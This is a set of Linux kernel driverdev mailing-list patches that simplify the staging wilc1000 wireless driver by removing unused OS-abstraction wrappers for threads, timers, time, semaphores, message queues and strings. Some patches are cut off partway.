WILC_OS_FEATURE_SLEEP_HI_RES and may not be supported - * on all Operating Systems - */ -void WILC_SleepMicrosec(WILC_Uint32 u32TimeMicoSec); -#endif - - #endif -- 2.1.0.rc2 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 13/16] staging: wilc1000: remove EXPORT_SYMTAB
The EXPORT_SYMTAB symbol has not been used in Linux for a very long time, the driver does not need to set it. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/staging/wilc1000/Makefile b/drivers/staging/wilc1000/Makefile index 13e3ed8ef31e..4eda4cc69486 100644 --- a/drivers/staging/wilc1000/Makefile +++ b/drivers/staging/wilc1000/Makefile @@ -10,7 +10,7 @@ ccflags-y += -DSTA_FIRMWARE=\"atmel/wilc1000_fw.bin\" \ -DAP_FIRMWARE=\"atmel/wilc1000_ap_fw.bin\" \ -DP2P_CONCURRENCY_FIRMWARE=\"atmel/wilc1000_p2p_fw.bin\" -ccflags-y += -I$(src)/ -DEXPORT_SYMTAB -D__CHECK_ENDIAN__ -DWILC_ASIC_A0 \ +ccflags-y += -I$(src)/ -D__CHECK_ENDIAN__ -DWILC_ASIC_A0 \ -DPLL_WORKAROUND -DCONNECT_DIRECT -DAGING_ALG \ -DWILC_PARSE_SCAN_IN_HOST -DDISABLE_PWRSAVE_AND_SCAN_DURING_IP \ -Wno-unused-function -DUSE_WIRELESS -DWILC_DEBUGFS -- 2.1.0.rc2 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 09/16] staging: wilc1000: simplify semaphore wrapper
The driver has its own API for semaphores. This should be replaced with mutexes and completions, but for the moment we can start by removing the obviously unused parts. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/wilc_osconfig.h | 1 - drivers/staging/wilc1000/wilc_oswrapper.h | 2 -- drivers/staging/wilc1000/wilc_semaphore.c | 14 -- drivers/staging/wilc1000/wilc_semaphore.h | 18 +- 4 files changed, 1 insertion(+), 34 deletions(-) diff --git a/drivers/staging/wilc1000/wilc_osconfig.h b/drivers/staging/wilc1000/wilc_osconfig.h index eec93b351f14..d0bf08f89906 100644 --- a/drivers/staging/wilc1000/wilc_osconfig.h +++ b/drivers/staging/wilc1000/wilc_osconfig.h @@ -10,7 +10,6 @@ /* OS features supported */ -#define CONFIG_WILC_SEMAPHORE_FEATURE 1 /* #define CONFIG_WILC_SEMAPHORE_TIMEOUT 1 */ #define CONFIG_WILC_SLEEP_FEATURE 1 #define CONFIG_WILC_SLEEP_HI_RES 1 diff --git a/drivers/staging/wilc1000/wilc_oswrapper.h b/drivers/staging/wilc1000/wilc_oswrapper.h index fd5dd3c6316e..32fe48a6034b 100644 --- a/drivers/staging/wilc1000/wilc_oswrapper.h +++ b/drivers/staging/wilc1000/wilc_oswrapper.h @@ -55,9 +55,7 @@ typedef WILC_Uint16 WILC_WideChar; #include "wilc_errorsupport.h" /* Semaphore support */ -#ifdef CONFIG_WILC_SEMAPHORE_FEATURE #include "wilc_semaphore.h" -#endif /* Sleep support */ #ifdef CONFIG_WILC_SLEEP_FEATURE diff --git a/drivers/staging/wilc1000/wilc_semaphore.c b/drivers/staging/wilc1000/wilc_semaphore.c index 637107bfb877..f09a88ca6ae4 100644 --- a/drivers/staging/wilc1000/wilc_semaphore.c +++ b/drivers/staging/wilc1000/wilc_semaphore.c @@ -1,7 +1,5 @@ #include "wilc_oswrapper.h" -#ifdef CONFIG_WILC_SEMAPHORE_FEATURE - WILC_ErrNo WILC_SemaphoreCreate(WILC_SemaphoreHandle *pHandle, tstrWILC_SemaphoreAttrs *pstrAttrs) @@ -33,19 +31,9 @@ WILC_ErrNo WILC_SemaphoreAcquire(WILC_SemaphoreHandle *pHandle, { WILC_ErrNo s32RetStatus = WILC_SUCCESS; - #ifndef CONFIG_WILC_SEMAPHORE_TIMEOUT while (down_interruptible(pHandle)) ; - #else - if (pstrAttrs == WILC_NULL) { - down(pHandle); - } else { - - s32RetStatus = down_timeout(pHandle, msecs_to_jiffies(pstrAttrs->u32TimeOut)); - } - #endif - if (s32RetStatus == 0) { return WILC_SUCCESS; } else if (s32RetStatus == -ETIME) { @@ -66,5 +54,3 @@ WILC_ErrNo WILC_SemaphoreRelease(WILC_SemaphoreHandle *pHandle, return WILC_SUCCESS; } - -#endif diff --git a/drivers/staging/wilc1000/wilc_semaphore.h b/drivers/staging/wilc1000/wilc_semaphore.h index 3006f9f20c4d..3c0ecc326fb3 100644 --- a/drivers/staging/wilc1000/wilc_semaphore.h +++ b/drivers/staging/wilc1000/wilc_semaphore.h @@ -10,11 +10,6 @@ * @version 1.0 */ - -#ifndef CONFIG_WILC_SEMAPHORE_FEATURE -#error the feature WILC_OS_FEATURE_SEMAPHORE must be supported to include this file -#endif - /*! * @struct WILC_SemaphoreAttrs * @brief Semaphore API options @@ -28,14 +23,6 @@ typedef struct { */ WILC_Uint32 u32InitCount; - #ifdef CONFIG_WILC_SEMAPHORE_TIMEOUT - /*!< -* Timeout for use with WILC_SemaphoreAcquire, 0 to return immediately and -* WILC_OS_INFINITY to wait forever. default is WILC_OS_INFINITY -*/ - WILC_Uint32 u32TimeOut; - #endif - } tstrWILC_SemaphoreAttrs; @@ -47,12 +34,9 @@ typedef struct { * @date 10 Aug 2010 * @version 1.0 */ -static void WILC_SemaphoreFillDefault(tstrWILC_SemaphoreAttrs *pstrAttrs) +static inline void WILC_SemaphoreFillDefault(tstrWILC_SemaphoreAttrs *pstrAttrs) { pstrAttrs->u32InitCount = 1; - #ifdef CONFIG_WILC_SEMAPHORE_TIMEOUT - pstrAttrs->u32TimeOut = WILC_OS_INFINITY; - #endif } /*! * @brief Creates a new Semaphore object -- 2.1.0.rc2 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 05/16] staging: wilc1000: remove time wrapper
The abstraction for time in this driver is completely unused, so remove it. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/wilc_osconfig.h | 1 - drivers/staging/wilc1000/wilc_oswrapper.h | 5 - drivers/staging/wilc1000/wilc_platform.h | 12 -- drivers/staging/wilc1000/wilc_time.c | 163 drivers/staging/wilc1000/wilc_time.h | 205 -- 5 files changed, 386 deletions(-) delete mode 100644 drivers/staging/wilc1000/wilc_time.c delete mode 100644 drivers/staging/wilc1000/wilc_time.h diff --git a/drivers/staging/wilc1000/wilc_osconfig.h b/drivers/staging/wilc1000/wilc_osconfig.h index aa98ea5b423f..f3d3108de876 100644 --- a/drivers/staging/wilc1000/wilc_osconfig.h +++ b/drivers/staging/wilc1000/wilc_osconfig.h @@ -27,7 +27,6 @@ /* #define CONFIG_WILC_FILE_OPERATIONS_FEATURE */ /* #define CONFIG_WILC_FILE_OPERATIONS_STRING_API */ /* #define CONFIG_WILC_FILE_OPERATIONS_PATH_API */ -#define CONFIG_WILC_TIME_FEATURE /* #define CONFIG_WILC_EVENT_FEATURE */ /* #define CONFIG_WILC_EVENT_TIMEOUT */ /* #define CONFIG_WILC_SOCKET_FEATURE */ diff --git a/drivers/staging/wilc1000/wilc_oswrapper.h b/drivers/staging/wilc1000/wilc_oswrapper.h index 03a1ecf90625..728ce7cac85a 100644 --- a/drivers/staging/wilc1000/wilc_oswrapper.h +++ b/drivers/staging/wilc1000/wilc_oswrapper.h @@ -89,11 +89,6 @@ typedef WILC_Uint16 WILC_WideChar; #include "wilc_fileops.h" #endif -/* Time operations */ -#ifdef CONFIG_WILC_TIME_FEATURE -#include "wilc_time.h" -#endif - /* Event support */ #ifdef CONFIG_WILC_EVENT_FEATURE #include "wilc_event.h" diff --git a/drivers/staging/wilc1000/wilc_platform.h b/drivers/staging/wilc1000/wilc_platform.h index 87e4eedcc914..35d9f8a917ce 100644 --- a/drivers/staging/wilc1000/wilc_platform.h +++ b/drivers/staging/wilc1000/wilc_platform.h @@ -73,18 +73,6 @@ #error This feature is not supported by this OS #endif -/* CONFIG_WILC_TIME_FEATURE is implemented */ - -/* remove the following block when implementing its feature */ -#ifdef CONFIG_WILC_TIME_UTC_SINCE_1970 -#error This feature is not supported by this OS -#endif - -/* remove the following block when implementing its feature */ -#ifdef CONFIG_WILC_TIME_CALENDER -#error This feature is not supported by this OS -#endif - /* remove the following block when implementing its feature */ #ifdef CONFIG_WILC_EVENT_FEATURE #error This feature is not supported by this OS diff --git a/drivers/staging/wilc1000/wilc_time.c b/drivers/staging/wilc1000/wilc_time.c deleted file mode 100644 index 27c252b462ac.. --- a/drivers/staging/wilc1000/wilc_time.c +++ /dev/null @@ -1,163 +0,0 @@ - -#define _CRT_SECURE_NO_DEPRECATE -#include "wilc_oswrapper.h" - -#ifdef CONFIG_WILC_TIME_FEATURE - - -WILC_Uint32 WILC_TimeMsec(void) -{ - WILC_Uint32 u32Time = 0; - struct timespec current_time; - - current_time = current_kernel_time(); - u32Time = current_time.tv_sec * 1000; - u32Time += current_time.tv_nsec / 100; - - - return u32Time; -} - - -#ifdef CONFIG_WILC_EXTENDED_TIME_OPERATIONS - -/** - * @brief - * @detailsfunction returns the implementation's best approximation to the - * processor time used by the process since the beginning of an - * implementation-dependent time related only to the process invocation. - * @return WILC_Uint32 - * @note - * @authorremil - * @date 11 Nov 2010 - * @version 1.0 - */ -WILC_Uint32 WILC_Clock() -{ - -} - - -/** - * @brief - * @detailsThe difftime() function computes the difference between two calendar - * times (as returned by WILC_GetTime()): time1 - time0. - * @param[in] WILC_Time time1 - * @param[in] WILC_Time time0 - * @return WILC_Double - * @note - * @authorremil - * @date 11 Nov 2010 - * @version 1.0 - */ -WILC_Double WILC_DiffTime(WILC_Time time1, WILC_Time time0) -{ - -} - - - -/** - * @brief - * @detailsThe gmtime() function converts the time in seconds since - * the Epoch pointed to by timer into a broken-down time, - * expressed as Coordinated Universal Time (UTC). - * @param[in] const WILC_Time* timer - * @return WILC_tm* - * @note - * @authorremil - * @date 11 Nov 2010 - * @version 1.0 - */ -WILC_tm *WILC_GmTime(const WILC_Time *timer) -{ - -} - - -/** - * @brief - * @detailsThe localtime() function converts the time in seconds since - * the Epoch pointed to by timer into a broken-down time, expressed - * as a local time. The function corrects for the timezone and any - * seasonal time adjustments. Local timezone information is used as - *
[PATCH 11/16] staging: wilc1000: clean up timer feature
The driver has a simple wrapper around timer_list, and an optional but unused feature to make the timer periodic. This removes support for the periodic timer and simplifies the code around timers. A follow-up should replace the remaining wrapper with open-coded timers. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/wilc_osconfig.h | 2 -- drivers/staging/wilc1000/wilc_oswrapper.h | 2 -- drivers/staging/wilc1000/wilc_platform.h | 4 drivers/staging/wilc1000/wilc_timer.c | 6 -- drivers/staging/wilc1000/wilc_timer.h | 27 --- 5 files changed, 41 deletions(-) diff --git a/drivers/staging/wilc1000/wilc_osconfig.h b/drivers/staging/wilc1000/wilc_osconfig.h index 6da42c837928..639160d1fa4e 100644 --- a/drivers/staging/wilc1000/wilc_osconfig.h +++ b/drivers/staging/wilc1000/wilc_osconfig.h @@ -11,8 +11,6 @@ /* OS features supported */ /* #define CONFIG_WILC_SEMAPHORE_TIMEOUT 1 */ -#define CONFIG_WILC_TIMER_FEATURE 1 -/* #define CONFIG_WILC_TIMER_PERIODIC 1 */ /* #define CONFIG_WILC_ASSERTION_SUPPORT 1 */ /* #define CONFIG_WILC_FILE_OPERATIONS_FEATURE */ /* #define CONFIG_WILC_FILE_OPERATIONS_STRING_API */ diff --git a/drivers/staging/wilc1000/wilc_oswrapper.h b/drivers/staging/wilc1000/wilc_oswrapper.h index 2af32fff84aa..be6393cba8c2 100644 --- a/drivers/staging/wilc1000/wilc_oswrapper.h +++ b/drivers/staging/wilc1000/wilc_oswrapper.h @@ -61,9 +61,7 @@ typedef WILC_Uint16 WILC_WideChar; #include "wilc_sleep.h" /* Timer support */ -#ifdef CONFIG_WILC_TIMER_FEATURE #include "wilc_timer.h" -#endif /* Memory support */ #include "wilc_memory.h" diff --git a/drivers/staging/wilc1000/wilc_platform.h b/drivers/staging/wilc1000/wilc_platform.h index 2c66c3f3a2c5..d3f8fc6f2971 100644 --- a/drivers/staging/wilc1000/wilc_platform.h +++ b/drivers/staging/wilc1000/wilc_platform.h @@ -23,10 +23,6 @@ #endif*/ -/* CONFIG_WILC_TIMER_FEATURE is implemented */ - -/* CONFIG_WILC_TIMER_PERIODIC is implemented */ - /* remove the following block when implementing its feature */ #ifdef CONFIG_WILC_ASSERTION_SUPPORT #error This feature is not supported by this OS diff --git a/drivers/staging/wilc1000/wilc_timer.c b/drivers/staging/wilc1000/wilc_timer.c index 477986dcff0a..7d2e6f19c00b 100644 --- a/drivers/staging/wilc1000/wilc_timer.c +++ b/drivers/staging/wilc1000/wilc_timer.c @@ -1,10 +1,6 @@ #include "wilc_oswrapper.h" -#ifdef CONFIG_WILC_TIMER_FEATURE - - - WILC_ErrNo WILC_TimerCreate(WILC_TimerHandle *pHandle, tpfWILC_TimerFunction pfCallback, tstrWILC_TimerAttrs *pstrAttrs) { @@ -47,5 +43,3 @@ WILC_ErrNo WILC_TimerStop(WILC_TimerHandle *pHandle, return s32RetStatus; } - -#endif diff --git a/drivers/staging/wilc1000/wilc_timer.h b/drivers/staging/wilc1000/wilc_timer.h index 1080ce24a045..41c6784ab8e1 100644 --- a/drivers/staging/wilc1000/wilc_timer.h +++ b/drivers/staging/wilc1000/wilc_timer.h @@ -10,10 +10,6 @@ * @version 1.0 */ -#ifndef CONFIG_WILC_TIMER_FEATURE -#error the feature CONFIG_WILC_TIMER_FEATURE must be supported to include this file -#endif - typedef void (*tpfWILC_TimerFunction)(void *); /*! @@ -24,34 +20,11 @@ typedef void (*tpfWILC_TimerFunction)(void *); * @version 1.0 */ typedef struct { - /*!< if set to WILC_TRUE the callback function will be called -* periodically. */ - #ifdef CONFIG_WILC_TIMER_PERIODIC - WILC_Bool bPeriodicTimer; - #endif - /* a dummy member to avoid compiler errors*/ WILC_Uint8 dummy; } tstrWILC_TimerAttrs; /*! - * @brief Fills the WILC_TimerAttrs with default parameters - * @param[out]pstrAttrs structure to be filled - * @saWILC_TimerAttrs - * @authorsyounan - * @date 16 Aug 2010 - * @version 1.0 - */ - -static void WILC_TimerFillDefault(tstrWILC_TimerAttrs *pstrAttrs) -{ - #ifdef CONFIG_WILC_TIMER_PERIODIC - pstrAttrs->bPeriodicTimer = WILC_FALSE; - #endif -} - - -/*! * @brief Creates a new timer * @details Timers are a useful utility to execute some callback function * in the future. -- 2.1.0.rc2 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 03/16] staging: wilc1000: remove thread wrapper
The wilc_thread code is a very thin wrapper around kthread, so just remove it and use kthread directly. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/Makefile | 2 +- drivers/staging/wilc1000/host_interface.c | 16 ++-- drivers/staging/wilc1000/wilc_osconfig.h | 3 - drivers/staging/wilc1000/wilc_oswrapper.h | 5 - drivers/staging/wilc1000/wilc_platform.h | 14 --- drivers/staging/wilc1000/wilc_thread.c| 35 --- drivers/staging/wilc1000/wilc_thread.h| 153 -- 7 files changed, 8 insertions(+), 220 deletions(-) delete mode 100644 drivers/staging/wilc1000/wilc_thread.c delete mode 100644 drivers/staging/wilc1000/wilc_thread.h diff --git a/drivers/staging/wilc1000/Makefile b/drivers/staging/wilc1000/Makefile index 4aa0d84ba8da..4aa5f6764df4 100644 --- a/drivers/staging/wilc1000/Makefile +++ b/drivers/staging/wilc1000/Makefile @@ -27,7 +27,7 @@ ccflags-$(CONFIG_WILC1000_DYNAMICALLY_ALLOCATE_MEMROY) += -DWILC_NORMAL_ALLOC wilc1000-objs := wilc_wfi_netdevice.o wilc_wfi_cfgoperations.o linux_wlan.o linux_mon.o \ wilc_memory.o wilc_msgqueue.o wilc_semaphore.o wilc_sleep.o wilc_strutils.o \ - wilc_thread.o wilc_time.o wilc_timer.o coreconfigurator.o host_interface.o \ + wilc_time.o wilc_timer.o coreconfigurator.o host_interface.o \ fifo_buffer.o wilc_sdio.o wilc_spi.o wilc_wlan_cfg.o wilc_debugfs.o wilc1000-$(CONFIG_WILC1000_SDIO) += linux_wlan_sdio.o diff --git a/drivers/staging/wilc1000/host_interface.c b/drivers/staging/wilc1000/host_interface.c index fcbadd1885de..7c764a2ba573 100644 --- a/drivers/staging/wilc1000/host_interface.c +++ b/drivers/staging/wilc1000/host_interface.c @@ -543,7 +543,7 @@ tstrWILC_WFIDrv *gWFiDrvHandle = WILC_NULL; WILC_Bool g_obtainingIP = WILC_FALSE; #endif WILC_Uint8 P2P_LISTEN_STATE; -static WILC_ThreadHandle HostIFthreadHandler; +static struct task_struct *HostIFthreadHandler; static WILC_MsgQueueHandle gMsgQHostIF; static WILC_SemaphoreHandle hSemHostIFthrdEnd; @@ -4370,7 +4370,7 @@ static WILC_Sint32 Handle_DelAllRxBASessions(void *drvHandler, tstrHostIfBASessi * @date * @version 1.0 */ -static void hostIFthread(void *pvArg) +static int hostIFthread(void *pvArg) { WILC_Uint32 u32Ret; tstrHostIFmsg strHostIFmsg; @@ -4591,10 +4591,7 @@ static void hostIFthread(void *pvArg) PRINT_D(HOSTINF_DBG, "Releasing thread exit semaphore\n"); WILC_SemaphoreRelease(&hSemHostIFthrdEnd, WILC_NULL); - return; - /* do_exit(error); */ - /* PRINT_D(HOSTINF_DBG,"do_exit error code %d\n",error); */ - + return 0; } static void TimerCB_Scan(void *pvArg) @@ -6683,9 +6680,10 @@ WILC_Sint32 host_int_init(WILC_WFIDrvHandle *phWFIDrv) goto _fail_; } msgQ_created = 1; - s32Error = WILC_ThreadCreate(&HostIFthreadHandler, hostIFthread, WILC_NULL, WILC_NULL); - if (s32Error < 0) { + HostIFthreadHandler = kthread_run(hostIFthread, NULL, "WILC_kthread"); + if (IS_ERR(HostIFthreadHandler)) { PRINT_ER("Failed to creat Thread\n"); + s32Error = WILC_FAIL; goto _fail_mq_; } s32Error = WILC_TimerCreate(&(g_hPeriodicRSSI), GetPeriodicRSSI, WILC_NULL); @@ -6788,7 +6786,7 @@ _fail_timer_2: _fail_timer_1: WILC_TimerDestroy(&(pstrWFIDrv->hScanTimer), WILC_NULL); _fail_thread_: - WILC_ThreadDestroy(&HostIFthreadHandler, WILC_NULL); + kthread_stop(HostIFthreadHandler); _fail_mq_: WILC_MsgQueueDestroy(&gMsgQHostIF, WILC_NULL); _fail_: diff --git a/drivers/staging/wilc1000/wilc_osconfig.h b/drivers/staging/wilc1000/wilc_osconfig.h index 2e3700e2c1ad..aa98ea5b423f 100644 --- a/drivers/staging/wilc1000/wilc_osconfig.h +++ b/drivers/staging/wilc1000/wilc_osconfig.h @@ -10,9 +10,6 @@ /* OS features supported */ -#define CONFIG_WILC_THREAD_FEATURE 1 -/* #define CONFIG_WILC_THREAD_SUSPEND_CONTROL 1 */ -/* #define CONFIG_WILC_THREAD_STRICT_PRIORITY 1 */ #define CONFIG_WILC_SEMAPHORE_FEATURE 1 /* #define CONFIG_WILC_SEMAPHORE_TIMEOUT 1 */ #define CONFIG_WILC_SLEEP_FEATURE 1 diff --git a/drivers/staging/wilc1000/wilc_oswrapper.h b/drivers/staging/wilc1000/wilc_oswrapper.h index df288c8be626..03a1ecf90625 100644 --- a/drivers/staging/wilc1000/wilc_oswrapper.h +++ b/drivers/staging/wilc1000/wilc_oswrapper.h @@ -54,11 +54,6 @@ typedef WILC_Uint16 WILC_WideChar; /* Error reporting and handling support */ #include "wilc_errorsupport.h" -/* Thread support */ -#ifdef CONFIG_WILC_THREAD_FEATURE -#include "wilc_thread.h" -#endif - /* Semaphore support */ #ifdef CONFIG_WILC_SEMAPHORE_FEATURE #include "wilc_semaphore.h" diff --git a/drivers/staging/wilc1000/wilc_platform.h b/drivers/staging/wilc1000/wilc_platform.h index 31d5034
[PATCH 07/16] staging: wilc1000: simplify msgqueue code
The driver contains an abstraction for message queues, with optional unused features, while the driver requires the main feature. This makes the msgqueue code unconditional as it's required but removes the unused parts. A later cleanup should remove the entire msgqueue code and replace it with some normal kernel API. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/wilc_msgqueue.c | 9 - drivers/staging/wilc1000/wilc_msgqueue.h | 30 -- drivers/staging/wilc1000/wilc_osconfig.h | 3 --- drivers/staging/wilc1000/wilc_oswrapper.h | 2 -- drivers/staging/wilc1000/wilc_platform.h | 12 5 files changed, 56 deletions(-) diff --git a/drivers/staging/wilc1000/wilc_msgqueue.c b/drivers/staging/wilc1000/wilc_msgqueue.c index c1d0dabed479..1113092398d1 100644 --- a/drivers/staging/wilc1000/wilc_msgqueue.c +++ b/drivers/staging/wilc1000/wilc_msgqueue.c @@ -1,8 +1,6 @@ #include "wilc_oswrapper.h" #include -#ifdef CONFIG_WILC_MSG_QUEUE_FEATURE - /*! * @authorsyounan @@ -154,11 +152,6 @@ WILC_ErrNo WILC_MsgQueueRecv(WILC_MsgQueueHandle *pHandle, spin_unlock_irqrestore(&pHandle->strCriticalSection, flags); WILC_SemaphoreFillDefault(&strSemAttrs); - #ifdef CONFIG_WILC_MSG_QUEUE_TIMEOUT - if (pstrAttrs != WILC_NULL) { - strSemAttrs.u32TimeOut = pstrAttrs->u32Timeout; - } - #endif s32RetStatus = WILC_SemaphoreAcquire(&(pHandle->hSem), &strSemAttrs); if (s32RetStatus == WILC_TIMEOUT) { /* timed out, just exit without consumeing the message */ @@ -207,5 +200,3 @@ WILC_ErrNo WILC_MsgQueueRecv(WILC_MsgQueueHandle *pHandle, return s32RetStatus; } - -#endif diff --git a/drivers/staging/wilc1000/wilc_msgqueue.h b/drivers/staging/wilc1000/wilc_msgqueue.h index a48be533aad9..84157368335d 100644 --- a/drivers/staging/wilc1000/wilc_msgqueue.h +++ b/drivers/staging/wilc1000/wilc_msgqueue.h @@ -10,10 +10,6 @@ * @version 1.0 */ -#ifndef CONFIG_WILC_MSG_QUEUE_FEATURE -#error the feature CONFIG_WILC_MSG_QUEUE_FEATURE must be supported to include this file -#endif - /*! * @struct tstrWILC_MsgQueueAttrs * @brief Message Queue API options @@ -22,38 +18,12 @@ * @version 1.0 */ typedef struct { - #ifdef CONFIG_WILC_MSG_QUEUE_IPC_NAME - WILC_Char *pcName; - #endif - - #ifdef CONFIG_WILC_MSG_QUEUE_TIMEOUT - WILC_Uint32 u32Timeout; - #endif - /* a dummy member to avoid compiler errors*/ WILC_Uint8 dummy; } tstrWILC_MsgQueueAttrs; /*! - * @brief Fills the MsgQueueAttrs with default parameters - * @param[out]pstrAttrs structure to be filled - * @saWILC_TimerAttrs - * @authorsyounan - * @date 30 Aug 2010 - * @version 1.0 - */ -static void WILC_MsgQueueFillDefault(tstrWILC_MsgQueueAttrs *pstrAttrs) -{ - #ifdef CONFIG_WILC_MSG_QUEUE_IPC_NAME - pstrAttrs->pcName = WILC_NULL; - #endif - - #ifdef CONFIG_WILC_MSG_QUEUE_TIMEOUT - pstrAttrs->u32Timeout = WILC_OS_INFINITY; - #endif -} -/*! * @brief Creates a new Message queue * @details Creates a new Message queue, if the feature * CONFIG_WILC_MSG_QUEUE_IPC_NAME is enabled and pstrAttrs->pcName diff --git a/drivers/staging/wilc1000/wilc_osconfig.h b/drivers/staging/wilc1000/wilc_osconfig.h index f18615e09400..d89864c7697c 100644 --- a/drivers/staging/wilc1000/wilc_osconfig.h +++ b/drivers/staging/wilc1000/wilc_osconfig.h @@ -20,9 +20,6 @@ /* #define CONFIG_WILC_MEMORY_POOLS 1 */ /* #define CONFIG_WILC_MEMORY_DEBUG 1 */ /* #define CONFIG_WILC_ASSERTION_SUPPORT 1 */ -#define CONFIG_WILC_MSG_QUEUE_FEATURE -/* #define CONFIG_WILC_MSG_QUEUE_IPC_NAME */ -/* #define CONFIG_WILC_MSG_QUEUE_TIMEOUT */ /* #define CONFIG_WILC_FILE_OPERATIONS_FEATURE */ /* #define CONFIG_WILC_FILE_OPERATIONS_STRING_API */ /* #define CONFIG_WILC_FILE_OPERATIONS_PATH_API */ diff --git a/drivers/staging/wilc1000/wilc_oswrapper.h b/drivers/staging/wilc1000/wilc_oswrapper.h index c4e97ae03ae0..8b4c3dced981 100644 --- a/drivers/staging/wilc1000/wilc_oswrapper.h +++ b/drivers/staging/wilc1000/wilc_oswrapper.h @@ -78,9 +78,7 @@ typedef WILC_Uint16 WILC_WideChar; #include "wilc_strutils.h" /* Message Queue */ -#ifdef CONFIG_WILC_MSG_QUEUE_FEATURE #include "wilc_msgqueue.h" -#endif /* File operations */ #ifdef CONFIG_WILC_FILE_OPERATIONS_FEATURE diff --git a/drivers/staging/wilc1000/wilc_platform.h b/drivers/staging/wilc1000/wilc_platform.h index b20bbb839e5a..2f6484989565 100644 --- a/drivers/staging/wilc1000/wilc_platform.h +++ b/drivers/staging/wilc1000/wilc_platform.h @@ -50,18 +50,6 @@ #error This feature is not supported by this OS #endif -/* CONFIG_WILC_MSG_QUEUE_FEATURE is implemented */ - -/* remove the following block when implementing i
[PATCH 06/16] staging: wilc1000: remove unused string functions
The driver provides wrappers for a lot of string operations. Some of them are unused, while others should be replaced with normal kernel functions. This replaces the unused ones for now, and leaves the other ones for a later cleanup. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/wilc_osconfig.h | 2 - drivers/staging/wilc1000/wilc_oswrapper.h | 2 - drivers/staging/wilc1000/wilc_platform.h | 4 - drivers/staging/wilc1000/wilc_strutils.c | 351 -- drivers/staging/wilc1000/wilc_strutils.h | 282 5 files changed, 641 deletions(-) diff --git a/drivers/staging/wilc1000/wilc_osconfig.h b/drivers/staging/wilc1000/wilc_osconfig.h index f3d3108de876..f18615e09400 100644 --- a/drivers/staging/wilc1000/wilc_osconfig.h +++ b/drivers/staging/wilc1000/wilc_osconfig.h @@ -20,7 +20,6 @@ /* #define CONFIG_WILC_MEMORY_POOLS 1 */ /* #define CONFIG_WILC_MEMORY_DEBUG 1 */ /* #define CONFIG_WILC_ASSERTION_SUPPORT 1 */ -#define CONFIG_WILC_STRING_UTILS 1 #define CONFIG_WILC_MSG_QUEUE_FEATURE /* #define CONFIG_WILC_MSG_QUEUE_IPC_NAME */ /* #define CONFIG_WILC_MSG_QUEUE_TIMEOUT */ @@ -32,5 +31,4 @@ /* #define CONFIG_WILC_SOCKET_FEATURE */ /* #define CONFIG_WILC_MATH_OPERATIONS_FEATURE */ /* #define CONFIG_WILC_EXTENDED_FILE_OPERATIONS */ -/* #define CONFIG_WILC_EXTENDED_STRING_OPERATIONS */ /* #define CONFIG_WILC_EXTENDED_TIME_OPERATIONS */ diff --git a/drivers/staging/wilc1000/wilc_oswrapper.h b/drivers/staging/wilc1000/wilc_oswrapper.h index 728ce7cac85a..c4e97ae03ae0 100644 --- a/drivers/staging/wilc1000/wilc_oswrapper.h +++ b/drivers/staging/wilc1000/wilc_oswrapper.h @@ -75,9 +75,7 @@ typedef WILC_Uint16 WILC_WideChar; #endif /* String Utilities */ -#ifdef CONFIG_WILC_STRING_UTILS #include "wilc_strutils.h" -#endif /* Message Queue */ #ifdef CONFIG_WILC_MSG_QUEUE_FEATURE diff --git a/drivers/staging/wilc1000/wilc_platform.h b/drivers/staging/wilc1000/wilc_platform.h index 35d9f8a917ce..b20bbb839e5a 100644 --- a/drivers/staging/wilc1000/wilc_platform.h +++ b/drivers/staging/wilc1000/wilc_platform.h @@ -50,8 +50,6 @@ #error This feature is not supported by this OS #endif -/* CONFIG_WILC_STRING_UTILS is implemented */ - /* CONFIG_WILC_MSG_QUEUE_FEATURE is implemented */ /* remove the following block when implementing its feature */ @@ -87,8 +85,6 @@ /* CONFIG_WILC_EXTENDED_FILE_OPERATIONS is implemented */ -/* CONFIG_WILC_EXTENDED_STRING_OPERATIONS is implemented */ - /* CONFIG_WILC_EXTENDED_TIME_OPERATIONS is implemented */ /* remove the following block when implementing its feature */ diff --git a/drivers/staging/wilc1000/wilc_strutils.c b/drivers/staging/wilc1000/wilc_strutils.c index 9e525d56feb8..f452fc57f71d 100644 --- a/drivers/staging/wilc1000/wilc_strutils.c +++ b/drivers/staging/wilc1000/wilc_strutils.c @@ -3,8 +3,6 @@ #include "wilc_oswrapper.h" -#ifdef CONFIG_WILC_STRING_UTILS - /*! * @authorsyounan @@ -42,50 +40,12 @@ void *WILC_memset(void *pvTarget, WILC_Uint8 u8SetValue, WILC_Uint32 u32Count) * @date 18 Aug 2010 * @version 1.0 */ -WILC_Char *WILC_strncat(WILC_Char *pcTarget, const WILC_Char *pcSource, - WILC_Uint32 u32Count) -{ - return strncat(pcTarget, pcSource, u32Count); -} - -/*! - * @authorsyounan - * @date 18 Aug 2010 - * @version 1.0 - */ WILC_Char *WILC_strncpy(WILC_Char *pcTarget, const WILC_Char *pcSource, WILC_Uint32 u32Count) { return strncpy(pcTarget, pcSource, u32Count); } -/*! - * @authorsyounan - * @date 18 Aug 2010 - * @version 1.0 - */ -WILC_Sint32 WILC_strcmp(const WILC_Char *pcStr1, const WILC_Char *pcStr2) -{ - WILC_Sint32 s32Result; - - if (pcStr1 == WILC_NULL && pcStr2 == WILC_NULL) { - s32Result = 0; - } else if (pcStr1 == WILC_NULL){ - s32Result = -1; - } else if (pcStr2 == WILC_NULL){ - s32Result = 1; - } else { - s32Result = strcmp(pcStr1, pcStr2); - if (s32Result < 0) { - s32Result = -1; - } else if (s32Result > 0){ - s32Result = 1; - } - } - - return s32Result; -} - WILC_Sint32 WILC_strncmp(const WILC_Char *pcStr1, const WILC_Char *pcStr2, WILC_Uint32 u32Count) { @@ -109,108 +69,6 @@ WILC_Sint32 WILC_strncmp(const 